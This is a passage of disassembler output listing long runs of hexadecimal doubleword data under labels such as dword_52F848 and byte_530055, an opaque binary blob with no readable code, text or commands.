		dd 9C22D4A9h, 8418650Ah, 0F2C72CDAh, 20302279h,	0A80246C6h
		dd 1864364Fh, 49846043h, 0DA661814h, 0C6F2E9BAh, 0FB578909h
		dd 39B4005Eh, 0A18B0697h, 6AE0A5A4h, 9AEB000Bh,	8FFDBE6Eh
		dd 0A6589C6Dh, 0E2E801ECh, 385D23AFh, 13D1B5E4h, 70E1AAC9h
		dd 7A5554F4h, 4BAF9D05h, 0E83F5A23h, 67018D23h,	924DABB8h
		dd 0AEC6025h, 0C45F0020h, 0C36B6E94h, 2C148F93h, 2AD8F2F7h
		dd 493C3025h, 0B7ED88F8h, 40886472h, 385204E2h,	0A2570CD6h
		dd 5BBAF370h, 5EF9B316h, 5210840h, 1217DFC7h, 300F2FD2h
		dd 494AE0F8h, 0F448BE90h, 0C1BBC4F8h, 5A2F8001h, 132620F6h
		dd 0B0287600h, 1FB5AED2h, 0E808030Bh, 2A707B7Eh, 88A05EBBh
		dd 0C30EBE0h, 3190410Eh, 0CA2100EAh, 2E34B21Dh,	0DE003E56h
		dd 0F1752523h, 12128865h, 6CC1CBEBh, 0E200B2ECh, 0A6CAD472h
		dd 7023AF4h, 793718A7h,	0E673A0AAh, 810050D3h, 0B0996972h
		dd 0E3CD1D0h, 0C34C477Dh, 789AF0A0h, 261F203Eh,	6166DDF1h
		dd 33795A00h, 3DC156h, 45DF171Ch, 0AD523C11h, 96D7FC0Bh
		dd 0A2430041h, 0F578BBh, 9AE87C4Bh, 0D4FBE651h,	52D15901h
		dd 0F7885AFEh, 0EA01F8h, 1283BD44h, 497AECA6h, 0D8534000h
		dd 6C8C7363h, 0EDFB0FEBh, 0C1402C27h, 18AB911Bh, 54AF5601h
		dd 0A7014473h, 20197042h, 5E659B8h, 0B474C6F4h,	9AFE0C1Eh
		dd 216947C2h, 0A17C0FFh, 1DA1FA0h, 0E8D83091h, 100088E0h
		dd 0F5C32B5h, 0E85D42BCh, 20A36917h, 6A860480h,	2E0F7F6Eh
		dd 80AB8807h, 3CCDB9CAh, 56A80F36h, 62825B0Bh, 0E5E03E2Fh
		dd 177902C9h, 79467300h, 69BB7E56h, 3A840150h, 8FA26BE7h
		dd 603AC79Fh, 0A248D29Eh, 207D3016h, 0E338FC00h, 3DF90289h
		dd 702614F0h, 0EE0A844Eh, 0C09C4327h, 72E7E695h, 0B41A6C10h
		dd 7CD97380h, 770609AAh, 508CB7AFh, 8FCA03C0h, 18AE750Fh
		dd 3D12290h, 47C5370Ch,	2888B81Fh, 785890FEh, 0B4D634EAh
		dd 0A55844A8h, 0EFC80099h, 0D21E988h, 0A9CE779Ah, 5801E8F9h
		dd 4D932300h, 375FE725h, 464302B2h, 87B3636Eh, 105AB487h
		dd 8B18406Dh, 1958AD78h, 40FD3025h, 0E4DCBh, 0A0644724h
		dd 8AFC4EE7h, 0F76013E8h, 0E229C220h, 9F710070h, 0EA02223Ah
		dd 0D506169Ch, 55DAE980h, 0E00B0089h, 9AC244Fh,	0CC00FD2Ah
		dd 65F6480Fh, 1F5C2EB2h, 2055882h, 73ECF074h, 0E4D38848h
		dd 0E8151900h, 0BF0E6693h, 1E6E76EBh, 525513F5h, 455002B1h
		dd 10408290h, 0F2001C65h, 0D313CA18h, 9D789FEh,	7129B450h
		dd 0F5044C00h, 7C0AD681h, 0AA92C949h, 0F3023B05h, 9FB08441h
		dd 0E8401AD1h, 34A851BDh, 0C03082D0h, 3B2EF5D4h, 1B217100h
		dd 793C642Dh, 0C6B606F4h, 78638C38h, 6E140DA0h,	0EE853003h
		dd 0AC67D4h, 8AF27110h,	279FC7C0h, 0B50B0501h, 5A6C5B20h
		dd 0A67FE8CCh, 0D7510220h, 4FF22EB5h, 153B18A1h, 88144955h
		dd 0E0BB6258h, 5B0FD09Bh, 12B42818h, 0AC569908h, 50751130h
		dd 0A37B80F1h, 61FC2A22h, 7E5C089Eh, 0F1385963h, 6DB1CBEh
		dd 9CD9E155h, 98570931h, 63C51138h, 5130BBCAh, 2E440DC2h
		dd 6A44B800h, 0E9E3CD9h, 2B685B5Dh, 85A19C15h, 525DC9F0h
		dd 1412FB20h, 5170DD84h, 245BC0B3h, 57BCD974h, 2510649Bh
		dd 3B319964h, 0E66C1h, 95216C89h, 0FE1E29F4h, 5B591582h
		dd 0E9804448h, 0D4661501h, 807B038Ch, 9C1C29B8h, 835CC00Fh
		dd 85CA1DBDh, 3973EC08h, 0BC151170h, 0DB102450h, 0ED3C098Eh
		dd 7F488669h, 0A61C2848h, 98882BA4h, 0A09D9048h, 0F0035EBBh
		dd 4816675Ch, 4167379Ch, 807582DCh, 5DB33A08h, 0E9A85EE8h
		dd 3108504Bh, 0A580BDE0h, 0B11B1E35h, 0A0D6526Ah, 63E588D8h
		dd 0FB31C684h, 7C26D05Ch, 0BC0CB012h, 54FC9013h, 6965F437h
		dd 0C70C1071h, 28C9F2F0h, 3C70219Ch, 0C0D32108h, 525B5CF6h
		dd 79A6A4A8h, 0FF4A5B02h, 60A67C26h, 0C4ECDC7Dh, 80CD1C78h
		dd 0E0F15C18h, 0BEFD84A1h, 5DCE1508h, 2D85A0F8h, 136CA4D5h
		dd 0B898E3Bh, 0B803F638h, 6010B399h, 517CB6DCh,	0CC4BB8AEh
		dd 0A1F9B062h, 983A9B38h, 0F1FC1960h, 5C9A9066h, 0E6478D44h
		dd 65327B01h, 33E2393Ch, 5170D970h, 865D8BF8h, 5E92DB12h
		dd 0BE80D009h, 49900288h, 34525E20h, 6876AC82h,	12261C67h
		dd 0FC0AB624h, 503E9033h, 0A8A5398Ch, 0B51F063Eh, 3F28E581h
		dd 290CD39Bh, 0F930215Ch, 0EF0E9C47h, 701E13FCh, 8F217B80h
		dd 93CD637h, 41C018EAh,	61433F94h, 0ACDB60FDh, 1827314Eh
		dd 370C6958h, 582FA470h, 20973CBBh, 415499FFh, 0D5F4F9A6h
		dd 1B288854h, 81542330h, 5EB183D3h, 96FB03B9h, 0F8190428h
		dd 8A5936B2h, 15580604h, 18192D1h, 26FB3E5Bh, 41CFAC9Ch
		dd 2091BF88h, 1F2BE4B4h, 74816037h, 343E32A6h, 0FC983B00h
		dd 0F1DC2618h, 0F7645C48h
dword_52F848	dd 40F0A898h, 768E9BB9h, 41B67672h, 78EEFF30h, 8C81EC85h
		dd 3351751Dh, 0AB8C053h, 27FDCEA1h, 0C908E018h,	84A851D9h
		dd 0D2622CDBh, 60AF6430h, 52FC0D04h, 0A8C1DC27h, 48B89930h
		dd 0B1071AC8h, 0D565BC29h, 0C2E0184Ah, 2802D82Dh, 48CC26B6h
		dd 9C522454h, 0A10742C1h, 0FBC192A0h, 41D44829h, 0A6D93024h
		dd 0C9D85B48h, 0E9F98B80h, 1AC1E022h, 8AE3FB49h, 0B8A93B31h
		dd 0A05B5826h, 289478F3h, 29B0272Eh, 4B50B126h,	83468A02h
		dd 0BCC1B092h, 0C19C2238h, 55EB1922h, 0FBDB5180h, 61F93808h
		dd 5458CB66h, 0C8B92638h, 0DBC04B8h, 56851CD5h,	3C60193Ch
		dd 30772673h, 0BB502FA8h, 367FAE04h, 12587849h,	0B40B90F1h
		dd 0D9A08312h, 0FC8EBCFFh, 92F00803h, 4812CD9Fh, 4409BF1Bh
		dd 6A4147Ch, 1602FFBEh,	0FB3128C9h, 0C55CA854h,	8C0B7421h
		dd 6E6750Eh, 5B30C88Ch,	1384E458h, 743CF9FCh, 1940AC0h
		dd 80CCB2EBh, 85B0655h,	5A1EF691h, 0BBAEA28h, 309DF88h
		dd 1F612D24h, 37D220h, 20ACFEE8h, 0C584B11h, 0B422E0D8h
		dd 31ED2A97h, 0EF5833E8h, 0C8168238h, 0DC467EDCh, 48D8B0FFh
		dd 793BBC1Eh, 0DC0098CCh, 0C85DAC7Ch, 60C015C9h, 0A85A436Eh
		dd 0E808CEA7h, 5F1042CCh, 20CC494h, 403B10F9h, 0FB05A33Fh
		dd 0EABCB030h, 0BEA2A8C0h, 41CC01C5h, 866CAC65h, 0E1ECE0CEh
		dd 6300F9E4h, 490D5B48h, 0C244D6h, 7401B575h, 3473DCEAh
		dd 8D3C5E00h, 62AAF6ACh, 0E3C318F9h, 0A72E0854h, 8BE57E0Eh
		dd 5FC583C7h, 0B8A3E3E8h, 61E4109Dh, 252C7855h,	0C68CFCBDh
		dd 3B0030A6h, 80BC5B50h, 0E256AC8Ah, 4410004Fh,	0E3F95D6Fh
		dd 0A4F09A11h, 846ADC01h, 7EBCC045h, 0FE1FCD0h,	0CCCEE57Fh
		dd 689F0506h, 0A69AAC0Fh, 0E79740BCh, 0AF068AEh, 0D5A57F6Eh
		dd 0EDCC603Ch, 3861F5D3h, 51F736D8h, 0E9946880h, 0F28023F9h
		dd 0FE308CA0h, 89ACBA00h, 3C041097h, 0ECA81402h, 0E9C028CAh
		dd 0AE49868h, 96AC9206h, 50487D9Ah, 3CE394E6h, 324F53Ch
		dd 2C103168h, 0C420A056h, 688CEC00h, 0CB0CED5Ch, 0C4FCE91Ch
		dd 0F1F07D0Bh, 174C0886h, 12412018h, 0C702C0D0h, 0C0226A18h
		dd 0ECAF48ACh, 0D5061DF8h, 0B38949B1h, 0F9BE3E58h, 3614C1Ch
		dd 1B20CF0h, 0D63FCCA0h, 0F6603198h, 0A6C86930h, 73AC18ECh
		dd 0F2E880E7h, 2D034CE8h, 0CFA9AE6Dh, 923018DFh, 15A50ABh
		dd 0E86020C6h, 0A99A3E30h, 38D96A7Dh, 0CE91F2Ah, 8C5082CCh
		dd 8EA6931h, 4600EB26h,	93E6686Ch, 8173DB3Bh, 66017D21h
		dd 26D087D3h, 1DCE7CABh, 7CD1BE6h, 2C005A6h, 8600F466h
		dd 37017E39h, 83485446h, 66A0510Fh, 0E6F0337Dh,	10C031F6h
		dd 8673E071h, 4620C3E1h, 0C6E05016h, 28CC341Bh,	6652093Bh
		dd 108E58D4h, 16B6A61Ch, 77C31EFEh, 7A822606h, 28CB6F18h
		dd 0E066F4A6h, 9CBBE628h, 101AC632h, 8C9081BCh,	0C503190Ah
		dd 2D8C06CDh, 0DE07F867h, 3B69AEADh, 0A8CC835Fh, 896CE01Fh
		dd 0F120CD20h, 0C6C9D038h, 71AA20C6h, 29070158h, 8D766A97h
		dd 34E4FCB0h, 3552FCF1h, 5D5E8AF8h, 0BD02F0h, 7A4BCC72h
		dd 0A45F23D0h, 75B0433Eh, 0EC682160h, 24ACF00Ah, 18242567h
		dd 0E44C08BFh, 0CCEFFF09h, 8C10031Eh, 6C081403h, 0FC7CF462h
		dd 0AC30C904h, 0D34C1403h, 9330878h, 865F2003h,	0C0AEFC38h
		dd 47111F0h, 6874F1E1h,	0BC18211Eh, 1E98D928h, 0AA37A107h
		dd 0A741C105h, 0B5201DC9h, 919D0FC6h, 8800469h,	544105ADh
		dd 0A11EAB74h, 610DB619h, 0E3D01848h, 410418C7h, 7901100Ah
		dd 0CE606A63h, 0A51000ACh, 50BA802Fh, 67E88B9Fh, 5A309E74h
		dd 941A18C6h, 0C98D2EA4h, 0CD030034h, 6D027804h, 92963Eh
		dd 8A314969h, 0E83FFCC9h, 40443CA9h, 3EBD290Fh,	206EF89Fh
		dd 324EE80h, 0B274B62Dh, 7770AD01h, 0E7218D02h,	636609CCh
		dd 0DB8950E8h, 0FE681050h, 0CC5AB31Dh, 7201303h, 0A18C1FFh
		dd 3073D0h, 0E4F405F1h,	0A76DB06Bh, 0F6001274h,	0B2E1D108h
		dd 3E907FCh, 0B5991C03h, 0FFB0D457h, 90C32453h,	0E1E05529h
		dd 1C4CA4CDh, 371A1D86h, 0B5A18E3Bh, 78452BA6h,	5F7B90Ah
		dd 7830FF14h, 23B06F64h, 6B80DE2Dh, 976227ABh, 40B5739Bh
		dd 0A553D379h, 95980014h, 0A22029C3h, 5E7701B5h, 0BF3405F0h
		dd 0B360A0E9h, 95F3FF0Eh, 0DC93803Dh, 3353FEFCh, 0D4900697h
		dd 0E274280Ah, 281B88B0h, 0CDBE320h, 1D581370h,	0CE7B0918h
		dd 1579AD18h, 0CA62FA50h, 0CA8DE40h, 7B790273h,	469310C3h
		dd 19CDF8C4h, 2848C6C0h, 9A31381Eh, 51D02016h, 0C56A408Eh
		dd 0CBB70D63h, 0C628DB8h, 61F318DDh, 93280A31h,	0CBC180Ah
		dd 0A5081705h, 8E3320C3h, 65581958h, 8042084Bh,	0B6E8E211h
		dd 90BC9F69h, 0AE3D1D08h, 6C2C4003h, 21564D02h,	0E23C09FAh
		dd 1247C75h, 0F80E2825h, 47A9E1CAh, 0E0D1B7CCh,	0A7E94087h
		dd 0DE895F26h, 83894801h, 4C189293h, 0B4295803h, 0CE181230h
		dd 413C0479h, 78588157h, 77189B40h, 0F72E208h, 0E3402B8Dh
		dd 0B8331978h, 181EA88Bh, 215BE910h, 8CC928Fh, 0A04CA14Dh
		dd 60302DE9h, 0F91E80E1h, 0AA2833FEh, 5750941Ah, 0D43113ECh
		dd 0F8E010BFh, 5E3208Ah, 96043E8Ch, 811C2DB3h, 8D6C530Ch
		dd 303B7340h, 18BC7BF5h, 3021C118h, 0B0006AABh,	0B56CC58Dh
		dd 0F0707A2Dh, 0DC9431CDh, 2E60108h, 3ACCA6FCh,	156D2418h
		dd 130D048Ch, 81C82D3h,	0BE502048h, 219CDCA1h, 8059FD34h
		dd 20E873B0h, 65110D03h, 1EDAE8AFh, 0AA263DD8h,	0A9600C18h
		dd 6D982908h, 0A0984948h, 24D09287h, 0AD41BE4h,	6110A8D7h
		dd 0F54648BAh, 0B7A820A0h, 0FEFB1414h, 13CC5090h, 0B0DD190Ah
		dd 0FCC11CEDh, 21F56892h, 5017B020h, 4CF39496h,	89123401h
		dd 0CDE006A5h, 0D29E081h, 0CC8220C9h, 219C592Dh, 42AC3FF7h
		dd 4D016794h, 8C40978Bh, 5B2AFC0h, 2BB17EDh, 4C44600Dh
		dd 0C1445D4Ah, 496A6457h, 1424C113h, 6F985328h,	2029982Bh
		dd 2CBD0602h, 0B93721A2h, 0DFF842ABh, 0A6881498h, 10991922h
		dd 24147D97h, 0D400F0A5h, 7406618Fh, 0A4484DAAh, 0C3881631h
		dd 1D5420BBh, 144C7A48h, 2490C5EEh, 6F8788E3h, 0D883B7CDh
		dd 0DF1031BCh, 30A94908h, 0F87A2DE4h, 86D1C4A1h, 0BDEA3308h
		dd 0E3B3060h, 5F20F10h,	0F1DCB418h, 0C9E8DBF0h,	5001EF90h
		dd 41B3952Dh, 4E93AAA0h, 0EB0F02E4h, 60F7BB62h,	0C39B77C8h
		dd 8AA5E990h, 0E20EB012h, 0E6EAC004h, 408F00C2h, 0D1D84D94h
		dd 4AC92808h, 1DD22482h, 0B8D79482h, 350A3469h,	81243270h
		dd 9C2D4F36h, 0B78013E7h, 0AD3C0BDAh, 10021C14h, 0B3DCB833h
		dd 0A0384098h, 7CA0CECFh, 0BD19B4F4h, 0CDA8F06Bh, 0E2205C03h
		dd 0A0530709h, 0DA382422h, 0A1ED3480h, 0C02C917Fh, 0B552F17Dh
		dd 50A1EA20h, 3F29E01Fh, 7CD71941h, 46FE3207h, 37A0ECFDh
		dd 0B612F3ECh, 5828E0C9h, 0F2DB18DEh, 0A49728B7h, 0C281F8A8h
		dd 3F3E6DF0h, 27C79C1h,	0B312C98h, 774D10DFh, 70F02805h
		dd 42507C0Ch, 247750EDh, 1328D46Ch, 699404CAh, 0D824915Fh
		dd 92E2E39Dh, 79B04E9h,	0F808AA46h, 0CDDC4149h,	0E4420DAh
		dd 2C107064h, 0E53348C1h, 32739830h, 7510DF8Bh,	10F31CE0h
		dd 0A002C040h, 98AA93C4h, 4CD33304h, 7FAF318h, 81488C04h
		dd 81F73309h, 0D5565370h, 0C0CD50A0h, 5EAEF48h,	1668294h
		dd 3110B220h, 7320E054h, 0D3088E77h, 803710ECh,	99E8690h
		dd 0B3505861h, 808CAD01h
		dd 62480FCDh, 32B0104Dh, 106100Eh
		db 73h
byte_530055	db 8Eh,	23h, 25h	; DATA XREF: ___:off_437A54o
					; ___:off_437A6Co
		dd 59ECD04Ch, 0E774FE03h, 0A0BC7FD9h, 0F08B5099h, 93421F79h
		dd 0C9460CE6h, 727C0D10h, 18CF1930h, 0CCC8DD59h, 0D908D830h
		dd 7E319D63h, 12F9E0CAh, 3339F87Fh, 8A28CFC4h, 0D62706C4h
		dd 7EB63748h, 99387C08h, 3988AB61h, 408FE497h, 0B9066987h
		dd 44F060CFh, 5950757Ch, 1931E6F4h, 8279280Ch, 0A6DCC307h
		dd 0DA84F9E0h, 0D9D958DDh, 88CEC38h, 9920BF39h,	289D7931h
		dd 608CE397h, 7640DC16h, 930E1100h, 531BABC2h, 8A96F2Fh
		dd 50331B30h, 0FE1CE320h, 86870010h, 0D0A7A810h, 7200133Eh
		dd 914478E6h, 0AC91B58h, 4704C2C6h, 4F18C014h, 691FA229h
		dd 37074B99h, 7784D91Fh, 0CD70A580h, 0CFC33918h, 0AD620A86h
		dd 4808286Ch, 58D8CEB4h, 0DE10E78Fh, 68107D37h,	64220AA9h
		dd 0AC502C0Eh, 0FE21397Fh, 0DA0308C0h, 9BE2D91Eh, 2542A012h
		dd 0C2F059h, 1F9EFBECh,	3FA4B864h, 9FDF8703h, 0A7DE5BBFh
		dd 0F106A86h, 0A4B09BFFh, 4136D287h, 233C31Fh, 62AD8338h
		dd 82080A2Dh, 5048489Ch, 0AF304C68h, 4A28C1CEh,	62D91420h
		dd 0BBC31471h, 74AA3AB3h, 28A0C803h, 0E8A095B1h, 62B8C388h
		dd 801D19FEh, 9F07B4C1h, 7F812A89h, 0C08F1806h,	0DF6A04C8h
		dd 0EC52C044h, 0E889DC33h, 82D9EA83h, 2A31307h,	5FA41AA0h
		dd 50A97A30h, 0E29FDD60h, 90AA5080h, 1247C19h, 0A5CCADFFh
		dd 42EDF3DFh, 349B76C4h, 0C9635481h, 3A880069h,	0B460C025h
		dd 97F9F16h, 0FFA41250h, 2C34A8A8h, 0A2DB8C6h, 0C5C8C78h
		dd 0C2534F12h, 5028A851h, 41138814h, 190D9EF2h,	0A80AB847h
		dd 0E49A9A28h, 415205D3h, 0D269648h, 43F031FCh,	38720B3Dh
		dd 18A41D51h, 0DD01DA3Ch, 5304D38Bh, 74586841h,	9E470C5Ch
		dd 860392Fh, 281C5420h,	8CD030F7h, 6A5F0928h, 4116146h
		dd 42908DE5h, 0D80B88F3h, 63B8C550h, 0A7C88151h, 0E755C114h
		dd 50392498h, 36837C23h, 15DBB6E0h, 0F039E839h,	98A8D818h
		dd 70906291h, 1CB15C29h, 5406782Fh, 4888984Bh, 820A40F4h
		dd 70CCB4C5h, 4F31E5A9h, 0F3A8311Ch, 0C042F440h, 1F80A7B4h
		dd 211784C9h, 0A7480471h, 0EFA03F40h, 1C001D38h, 8B4EF8DBh
		dd 83B8DDh, 0D946AEB9h,	0DAE5F1D1h, 6BBFDF00h, 4F77513Bh
		dd 1FD07ACEh, 81C4C958h, 0EF9EF3F8h, 0B11C5818h, 0BED05208h
		dd 31AF003Ah, 3858DD7Dh, 3D14C852h, 0F0FF80D2h,	8F77A7E0h
		dd 2187404Dh, 7F071498h, 1F5FE48Eh, 66D2E6E1h, 14D464EDh
		dd 820B0A38h, 6014F4EEh, 0ED85C87Eh, 0F0FC2F41h, 0CE820CF7h
		dd 0EA08F3CCh, 0AE83BA1Eh, 929D1CE9h, 2CA10EC4h, 2523540Eh
		dd 689E6E82h, 83C2FCE9h, 8CA19F0h, 37C03C0Eh, 6BD7A2Eh
		dd 34E59A89h, 0BFF5406Ah, 40185639h, 4A6172A5h,	0C6EA9471h
		dd 214828A6h, 0AD19406Ch, 2F7229Fh, 0B960B074h,	0BBA1829h
		dd 36D4804Eh, 0FB82EF3Bh, 97CE08C3h, 0CC0EC3F0h, 83B6A843h
		dd 1C58FB9h, 288FB71Bh,	8E85C78Bh, 0C941E0Ah, 5A208426h
		dd 3C2B08DFh, 3E417601h, 0B4014F21h, 240E005Ah,	1A98A1B0h
		dd 0E0B2118Ch, 6D7C75D8h, 986624E8h, 19083F50h,	18BDB66Eh
		dd 48698171h, 0FA4E5DA2h, 4B0CF04Ah, 14E9880Eh,	6EC0D863h
		dd 0EC68423Bh, 95C89DC0h, 0F4802FFEh, 8CE95055h, 0AEA41FFh
		dd 64D503B4h, 1A99756Fh, 28505460h, 0F979F816h,	18C84A52h
		dd 0CE582634h, 0F888D062h, 0F363A7B0h, 5895E230h, 0A573A494h
		dd 0C3D60240h, 0A8A2BF22h, 8403774h, 0E8E216Eh,	9241C7FDh
		dd 3514F855h, 0CBA05475h, 0C154B612h, 0BE15B498h, 0C4508166h
		dd 0CBC2DD45h, 0BDACA69Ah, 83F88528h, 0B65B670Fh, 56F4291Eh
		dd 0B0BC8054h, 62D2FC5Ch, 0A154F1EBh, 9050C1Eh,	34A12EFFh
		dd 64500168h, 0CB6CB1E0h, 24A0A4BCh, 70E47059h,	0D815E297h
		dd 0FA094EAh, 0E95D85FCh, 6E280092h, 1D5AD7C8h,	7CA4C2Eh
		dd 0C30B4FCEh, 1047E1AEh, 93E30278h, 2977081h, 584037D4h
		dd 0AF24C60Eh, 4319AC5Dh, 0D713F908h, 5F8E680Ch, 0C151706Bh
		dd 0D8CA0E08h, 0D79FE05Ah, 47F6CB81h, 2DC10370h, 0C1090D26h
		dd 1CDB3AB4h, 2260F428h, 14211D71h, 85DBE0BCh, 29DF7D5Ah
		dd 2857E3D0h, 125ED700h, 1BC828CEh, 970D010Eh, 0F11A2039h
		dd 18176E78h, 284B52BEh, 0C610EF32h, 77011920h,	0D11ADD51h
		dd 3F11C7Bh, 37DED8ECh,	0B0C90D08h, 1B31C41Ah, 91301F75h
		dd 1651608Bh, 5371F421h, 0E261209Dh, 9E5F7C7Bh,	3B81B740h
		dd 0DB7E71C2h, 98D6F7E9h, 10265518h, 7D393337h,	1BF69301h
		dd 0D5EFED51h, 3864305Ch, 3BA00B63h, 2351F70Ah,	41E0781Bh
		dd 0C06CD587h, 25CF5759h, 553E311Bh, 791111E8h,	0F04502DFh
		dd 3703346Dh, 9130291Dh, 0F3AD4790h, 593F4470h,	0A40B4197h
		dd 0C6828402h, 7700382Bh, 77D63014h, 0D316009Fh, 93B3E390h
		dd 0F700A470h, 60CBE646h, 0A8FF9C9h, 0E1FD7BDh,	56406F14h
		dd 7687264Ch, 0A799C910h, 0CF403F21h, 634610B0h, 2B3950C4h
		dd 0D69FD7D8h, 0FF1ED274h, 442B6DCEh, 53C2EB81h, 6086860Bh
		dd 88B968D9h, 9F083361h, 40A3C002h, 53843D1Ch, 0A7D26Dh
		dd 91104B79h, 140953DFh, 0C73C5102h, 1903A423h,	0FF5803E0h
		dd 5F919828h, 6C41CCA2h, 6A1C4C07h, 0C4226D0Ch,	0B9D0C8h
		dd 0FF914E95h, 0D91B8369h, 1E310660h, 6A0C2DAh,	0E7C8108Ah
		dd 0D8061117h, 0D90F86FFh, 0F7EE0309h, 0D6259B56h, 0D1369FB1h
		dd 6492DC7Ah, 0F215BE00h, 230B79DBh, 39CF6059h,	81BF7AA6h
		dd 0B5071801h, 0B4773EDBh, 2180CCD1h, 8EBF557Ch, 900B71Ch
		dd 6E0649E7h, 0F8BDF2h,	0A2CFC5AFh, 0B1EC332h, 0D5DFD906h
		dd 1F919786h, 5C5603BFh, 256C400Ah, 222C129Ah, 0BE5098E6h
		dd 5E05845Ch, 32B2B111h, 0E71298E8h, 14F1ED7h, 9069C0E5h
		dd 1FE980E1h, 0DE98FC65h, 31D70C1Bh, 0C7086C40h, 0B920C060h
		dd 44FD8Eh, 7B47A950h, 36D1B860h, 92867C05h, 8801D008h
		dd 0E63DF64h, 0BCD38086h, 0F83EB1D6h, 94E00147h, 0D59EB6DBh
		dd 851F1883h, 0F6D8C7B5h, 43004DEFh, 41CC6484h,	37BAE66h
		dd 500FF40Bh, 189095DBh, 20099CBh, 14ACE25Dh, 0F85B33h
		dd 9DE98BB5h, 152981C7h, 21E52200h, 0A12E9301h,	35A9000Bh
		dd 77EC2653h, 0CB004EDDh, 0E013F9D7h, 4FAEA6h, 0BE90E628h
		dd 71BAB2C7h, 37FA200h,	0D6CC5C3Eh, 22D90053h, 7813AF9h
		dd 370F9866h, 208B50D5h, 8AE990FBh, 6AC5001Ch, 0DC0B9C61h
		dd 0FD03A38Ch, 0A393D3Fh, 0F808AEC4h, 0E2B600C2h, 0FAE1765h
		dd 380079A3h, 93AA490Dh, 182C1B9Bh, 38DC0931h, 910073D3h
		dd 84DB4ACCh, 63FEB256h, 7E4360A6h, 4616968h, 0B6D69A40h
		dd 9452BCDh, 846D30Ch, 0C1658030h, 7CAB3CAEh, 5464882h
		dd 9273AF07h, 0A84AC2C2h, 0B0EC0C82h, 0D00C7111h, 95C92186h
		dd 10244815h, 0FC889708h, 9F22ED61h, 18A5B412h,	98304A79h
		dd 0A9B2880Ch, 10B13042h, 548461F3h, 42541844h,	3C282AF0h
		dd 3F207D21h, 7872F291h, 0CB8018A8h, 6B1618C1h,	0AC40D931h
		dd 2E66E3Ah, 2BAAF997h,	0D7203FDEh, 48ADE3B3h, 0E70A0869h
		dd 40C4306Ah, 50CCDEC1h, 23F21F09h, 0C687039Ah,	7E382633h
		dd 262B050Dh, 62C847AFh, 303440C7h, 2C001CFBh, 2315AA74h
		dd 0BE41A0h, 4C060E5Bh,	479B94C1h, 7D2A68C6h, 0D5020708h
		dd 802B33C8h, 265DC621h, 0B6E1D00h, 55D84827h, 0F24CA4E6h
		dd 9521306Dh, 0CA68E810h, 0CF03D900h, 4CFE7CD5h, 1C84F0ECh
		dd 0C19277E6h, 0F3FFD359h
		dd 4F5830A2h, 65C13E07h, 4370E29Ah, 3C787447h, 58802A39h
		dd 0A6DA5A1h, 1CAE08A2h, 8B80DF46h, 3423C2D7h, 837EC800h
		dd 0DB6E1E52h, 99871DA9h, 0E2C06B40h, 0A300136Dh, 0E4C0A65Ah
		dd 30DDFCC1h, 3B2922A9h, 1B106DAAh, 4501A196h, 6124016Fh
		dd 0A7B3EC85h, 0DA14CE7Fh, 0C75C47CFh, 0E740642Dh, 1F2EB1C4h
		dd 5FA0BCD9h, 22864103h, 0E505D870h, 88A0EFE8h,	800EEF9h
		dd 8AC1B3EDh, 486671E5h, 6E80C0E0h, 0CA428EA0h,	0C0483090h
		dd 83680010h, 4528622h,	4229C003h, 8DDC8999h, 31516B40h
		dd 0A9B06E30h, 9EC80E86h, 4CDF53DCh, 74002294h,	375023A9h
		dd 0E102FFF9h, 0ADA49260h, 0BD284046h, 0C6E00930h, 38215D7Bh
		dd 0BFDB424Ch, 0B5AF0140h, 0C15C4537h, 61E88425h, 0FE5D00EFh
		dd 0E8A15F2Fh, 0DD7B2E86h, 4855C709h, 0CC743962h, 8336C00Eh
		dd 5FE7FEh, 0CA574E0Ah,	0B49548D3h, 0FBEDC23Fh,	9B715C12h
		dd 1096CC0Fh, 74FC307Bh, 5BB73240h, 245F4F58h, 718038FBh
		dd 81014731h, 0B8C07BFEh, 7BAC8589h, 118B9814h,	0D3097091h
		dd 16A28646h, 0C2CF2494h, 0D4C150D4h, 0A1444AE7h, 98242C14h
		dd 4C890184h, 5592653Bh, 0C40432EBh, 0D180C0D6h, 720EA675h
		dd 27C700AFh, 0B2A39539h, 0E891C8CBh, 0DC267DD9h, 0F760E18Fh
		dd 0DB546AA4h, 0A79440E3h, 4AF9E314h, 6E2D0084h, 0DC619BB9h
		dd 59A0A048h, 8D200062h, 0DFD571A6h, 3C00126Eh,	103D2834h
		dd 37A6DC2h, 0E8A2F518h, 30A64270h, 121B5B16h, 0F8BDA823h
		dd 4CA034B5h, 6E05CCD1h, 4470D702h, 227317D0h, 0DC80605Ah
		dd 1208E801h, 28D9C760h, 99003264h, 9ACCBE14h, 3F7562Bh
		dd 1BACDA0Eh, 50A00B77h, 0EC60E201h, 0FBB70D28h, 0D6406F9Fh
		dd 31055BA0h, 0D17D573Bh, 7D4F713Eh, 0D4E0603h,	0E0133A16h
		dd 8C9D6Ch, 55171223h, 9096B5D0h, 148B01Eh, 295F339Dh
		dd 7ABF0B8Ch, 88900E6h,	6F47ED8Dh, 0CC00B457h, 96B09371h
		dd 0C090127Bh, 73310C80h, 3200177Fh, 0D3F38010h, 0F082BC9h
		dd 0C60D4F14h, 0BCAEBE6Ch, 34096A00h, 9367D09Fh, 771E0740h
		dd 6195295Bh, 0E002B7D7h, 0BF01FB70h, 62562C33h, 0F0D7572Fh
		dd 60295A05h, 0E1B770FAh, 68001E9Ch, 6621713h, 6A95B4h
		dd 0FC9194B9h, 426DB707h, 1E8280A7h, 9711A31Ch,	0FDB58C44h
		dd 1A02E579h, 36B33D74h, 55C4B908h, 3B19904Ch, 41807D73h
		dd 360CCB8Bh, 160CD047h, 11C8F3C0h, 50177891h, 819A1094h
		dd 0F908402Dh, 9142BA17h, 4620E120h, 0DD7A00C9h, 4523376Dh
		dd 8100529Ch, 0BC86F5CEh, 0C88094h, 0E4A5FA7Fh,	2EEA5D6Ch
		dd 97007871h, 25121DEFh, 4CCA233Ch, 0B707FE6Dh,	0F064FE9Ch
		dd 0CD8BEB47h, 0BC85B906h, 1487F5Fh, 8DD432B6h,	8382B8B7h
		dd 8F950C38h, 93400375h, 30F25CF0h, 34490B88h, 0E12C9718h
		dd 1ECA6D48h, 0CC7AFE5Ah, 78B8C7E6h, 9B11CE0Ah,	0E406958Fh
		dd 62A0950Fh, 339948A4h, 0F325400Fh, 0C379E7BDh, 0ABEB23F1h
		dd 3B2C001h, 0BD80204Dh, 0CCA22E4h, 4E9D8793h, 1503A248h
		dd 37FCDF28h, 0D021E098h, 62D7ECCh, 347F8C7Dh, 9F5050FEh
		dd 4B0016ACh, 8DABC896h, 3015D9CDh, 0C2301FE1h,	57108C7Eh
